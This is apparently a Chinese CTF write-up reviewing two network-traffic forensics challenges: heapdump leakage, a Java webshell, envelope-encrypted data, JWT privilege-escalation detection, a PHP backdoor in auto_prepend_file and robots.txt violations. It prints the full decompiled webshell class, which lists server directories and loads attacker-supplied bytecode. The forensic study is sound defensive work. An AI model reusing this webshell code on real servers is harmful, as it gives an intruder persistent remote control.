古法流量分析1
现在线上的比赛很少出流量分析题目了,可能是流量分析太容易被ai秒了。但我觉得古法流量分析还是得掌握的,常见的webshell识别、写python脚本批量处理等等。不然到线下就只能瞪着满屏的数据包发呆了(如果你有mac当我没说)。这里来复盘两道线下流量分析的题目。
答案不保真,因为我也不知道正确答案。
第一题

这种题目基本上只需要关注http流量,先全过滤出来

很明显一开始在进行目录爆破,可以从http对象列表中查看扫到了哪些文件

这里扫到了heapdump,有38mb,如果你熟悉渗透的话,应该知道这是网站存在heapdump泄露。
这里先介绍一下什么是heapdump:Heapdump 是一种用于捕获 Java 虚拟机(JVM)内存快照的工具,通常用于调试和分析内存问题。然而,在某些情况下,heapdump 文件可能会泄露敏感信息,如明文密码、访问密钥等,从而导致安全漏洞。可以通过访问 Springboot 应用的/actuator/heapdump 端点来下载 heapdump 文件。
先下载下来继续往后分析,攻击者访问了多次login,很像是上传的木马

base64解密后可以发现是java的class文件,需要反编译

用工具反编译得到java代码,这里执行了这三条命令,探测一下当前的环境,和返回包的结果对上了

继续看后面的包,这是第二个包和反编译后的代码
可以发现开头多了le5e89ef477bd5这个参数,直接base64解码会发现是乱码,说明进行了某些混淆,我们来分析一下源码

le5e89ef477bd5对应的是var5,先看decode这个函数,它先取了一个randomPrefix,在这里固定为2,然后以2开头取var5的子串,解码后是/app/。然后调用FileTreeCode函数,也就是列出指定目录下的内容。le5e89ef477bd5应该就是第一问的密钥了。
package filemanager;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
import java.util.Date;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Dir {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder = "base64";
public String cs = "UTF8";
public String randomPrefix = "2";
public String decoderClassdata;
public boolean equals(Object var1) {
this.parseObj(var1);
this.cs = String.valueOf(Charset.forName(System.getProperty("sun.jnu.encoding")));
StringBuffer var2 = new StringBuffer();
String var3 = "72b04ba";
String var4 = "f6bd7a";
String var5 = "le5e89ef477bd5";
String var6 = "qd60a87706e033";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(String.valueOf(this.cs));
this.response.setCharacterEncoding(String.valueOf(this.cs));
String var7 = this.decode(this.request.getParameter(var5));
this.decoderClassdata = this.decode(this.request.getParameter(var6));
var2.append(this.FileTreeCode(var7));
} catch (Exception var9) {
var2.append("ERROR:// " + var9.toString());
}
try {
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
} catch (Exception var8) {
}
return true;
}
public String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var5 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var5);
} catch (Exception var4) {
var2 = false;
}
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}
public String FileTreeCode(String var1) throws Exception {
File var2 = new File(var1);
File[] var3 = var2.listFiles();
String var4 = "";
String var7 = "";
SimpleDateFormat var9 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int var10 = 0; var10 < var3.length; ++var10) {
Date var8 = new Date(var3[var10].lastModified());
String var5 = var9.format(var8);
String var6 = var3[var10].canRead() ? "R" : "-";
var6 = var6 + (var3[var10].canWrite() ? "W" : "-");
try {
var6 = var6 + ((Boolean)var3[var10].getClass().getMethod("canExecute").invoke(var3[var10]) ? "X" : "-");
} catch (Exception var12) {
var6 = var6 + "-";
}
String var11 = var3[var10].getName();
if (var3[var10].isDirectory()) {
var4 = var4 + var11 + "/\t" + var5 + "\t" + var3[var10].length() + "\t" + var6 + "\n";
} else {
var7 = var7 + var11 + "\t" + var5 + "\t" + var3[var10].length() + "\t" + var6 + "\n";
}
}
var4 = var4 + var7;
return var4;
}
public void parseObj(Object var1) {
if (var1.getClass().isArray()) {
Object[] var2 = (Object[])((Object[])var1);
this.request = (HttpServletRequest)var2[0];
this.response = (HttpServletResponse)var2[1];
} else {
try {
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var8) {
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
Field var3 = this.request.getClass().getDeclaredField("request");
var3.setAccessible(true);
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
Field var5 = var4.getClass().getDeclaredField("response");
var5.setAccessible(true);
this.response = (HttpServletResponse)var5.get(var4);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var6) {
}
}
}
}
}
}
public String asoutput(String var1) {
try {
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var3.setAccessible(true);
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
return var4.getConstructor(String.class).newInstance(var1).toString();
} catch (Exception var5) {
return var1;
}
}
public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");
try {
Class var4;
byte[] var7;
if (var3.compareTo("1.9") >= 0) {
var4 = Class.forName("java.util.Base64");
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
var7 = (byte[])((byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1));
} else {
var4 = Class.forName("sun.misc.BASE64Decoder");
var7 = (byte[])((byte[])var4.getMethod("decodeBuffer", String.class).invoke(var4.newInstance(), var1));
}
return var7;
} catch (Exception var6) {
return new byte[0];
}
}
}
所以对于第二问,我们只需要关注前面的参数,看看里面是否有压缩的命令
最终在流364中找到了

所以压缩包的密码是7b3b0302e25b01bf8a82add7b4ab6041

压缩包里有customers.db文件,分析一下。有两张表,但都被加密了,结合题目是信封加密。


信封加密简单来说就是用一把 “数据密钥” 加密真正的数据,再用另一把 “根密钥” 把这把数据密钥本身加密保存。 密钥分两层,被加密的数据密钥和密文一起存放,像装进信封一样,所以叫 “信封”。
三把数据密钥DEK存在key_store中,KEK应该在heapdump中泄露了,所以解密流程如下
① 取出被 KEK 加密的 DEK
② 用 KEK 解密 ──> 得到明文 DEK
③ 用 DEK 解密业务数据 ──> 明文
解密脚本这里就不放了,感兴趣的可以自己研究一下。
第二题

查找越权,先过滤出和越权相关的包,这里很明显是/api/userinfo

数据包中的Authorization是jwt,应该包含了查询人的身份信息,而uid代表要查询的人,将jwt解码看一下

jwt中有两条信息,第一条是查询者的uid,第二条是is_admin。所以现在的思路就很简单了,将所以jwt都提取出来,解码后找出is_admin为false且jwt中的uid与查询的uid不同的就是越权账号。

把数据包导出为json,处理一下
cat userinfo.json | grep -E "Bearer|\"json.object\"" | awk -F ':' '{print $3}'

还是有点瑕疵,把没用的字符替换为空,最终得到

写个脚本解密一下jwt
import sys, base64, json
path = "./1.json"
lines = open(path, encoding='utf-8').read().splitlines()
for i in range(0, len(lines), 3):
raw = lines[i]
keep_comma = raw.rstrip().endswith(',')
token = raw.strip().rstrip(',').strip()
payload = token.split('.')[1]
payload += '=' * (-len(payload) % 4)
data = json.loads(base64.urlsafe_b64decode(payload))
lines[i] = json.dumps(data, ensure_ascii=False) + (',' if keep_comma else '')
open(path, 'w', encoding='utf-8').write('\n'.join(lines))

import sys, json
path = '1.json'
lines = open(path, encoding='utf-8').read().splitlines()
offenders = set()
for i in range(0, len(lines), 3):
data = json.loads(lines[i].strip().rstrip(','))
body_uid = int(lines[i + 1].strip().rstrip(','))
if data['is_admin'] is False and data['uid'] != body_uid:
offenders.add(data['uid'])
print('越权: 账号', data['uid'], '查询', body_uid)
ans = sorted(offenders)
print('最终答案:', '-'.join(map(str, ans)))

第二问是找恶意代码,http对象中有i.php这个文件,下载下来

是phpinfo的页面,改成.html查看

不难发现在auto_prepend_file中有一段奇怪的base64,解码一下

是一句话木马,所以密码是0a724c189fd0dfecb3a8c927ca32dc20

第三问先导出robots.txt,再根据disallow和Crawl-delay的值写脚本处理,感觉完全手工写的话太费时间了,也不太能在比赛时间中写出来,可以让本地ai写个脚本帮忙。

这个脚本并不是重点,主要是你得有解决问题的思路
import re, datetime
from collections import defaultdict
ROBOTS = r'robots.txt'
ACCESS = r'access.log'
# ===== 1. 解析 robots.txt =====
groups = []
for block in open(ROBOTS, encoding='utf-8').read().split('\n\n'):
agents, rules, delay = [], [], None
for ln in block.splitlines():
if ':' not in ln:
continue
k, v = ln.split(':', 1)
k, v = k.strip().lower(), v.strip()
if k == 'user-agent':
agents.append(v.lower())
elif k == 'allow' and v:
rules.append((True, v))
elif k == 'disallow' and v:
rules.append((False, v))
elif k == 'crawl-delay':
delay = float(v)
groups.append({'agents': agents, 'rules': rules, 'delay': delay})
def rule_regex(pattern):
end = pattern.endswith('$') # $ = 必须结尾
p = pattern[:-1] if end else pattern
rx = '^' + ''.join('.*' if c == '*' else re.escape(c) for c in p)
return re.compile(rx + ('$' if end else '.*'))
def select_group(ua):
low = ua.lower()
hit = [g for g in groups if '*' not in g['agents']
and any(a in low for a in g['agents'])] # 具名组:子串匹配
if hit: # 具名优先于 *
return sorted(hit, key=lambda g: max(map(len, g['agents'])), reverse=True)[0]
return next(g for g in groups if '*' in g['agents'])
def path_disallowed(g, path):
best = None
for allow, pattern in g['rules']:
if rule_regex(pattern).match(path):
L = len(pattern)
if best is None or L > best[0] or (L == best[0] and allow):
best = (L, allow) # 最长优先,同长 Allow 胜
return best is not None and not best[1]
# ===== 2. 解析日志,判路径违规 + 收集时间序列 =====
log_pat = re.compile(
r'(\S+) \S+ \S+ \[([^\]]+)\] "\S+ (\S+?) [^"]*" \d+ \S+ "[^"]*" "([^"]*)"')
path_viol = set()
buckets = defaultdict(list)
for idx, line in enumerate(open(ACCESS, encoding='utf-8')):
m = log_pat.match(line)
ip, ts, path, ua = m.group(1), m.group(2), m.group(3), m.group(4)
t = datetime.datetime.strptime(ts, '%d/%b/%Y:%H:%M:%S %z').timestamp()
g = select_group(ua)
if path_disallowed(g, path):
path_viol.add(idx)
if g['delay'] is not None: # 仅具名组有 delay
buckets[(ip, ua)].append((t, idx))
# ===== 3. 频率违规:同一IP+UA,相邻间隔 < delay =====
freq_viol = set()
for (ip, ua), seq in buckets.items():
seq.sort()
delay = select_group(ua)['delay']
for a, b in zip(seq, seq[1:]):
if b[0] - a[0] < delay:
freq_viol.add(b[1])
# ===== 4. 合并去重 =====
both = path_viol & freq_viol
total = len(path_viol) + len(freq_viol) - len(both)
print('路径违规:', len(path_viol))
print('频率违规:', len(freq_viol))
print('两类重叠:', len(both))
print('最终违规总数:', total)


浙公网安备 33010602011771号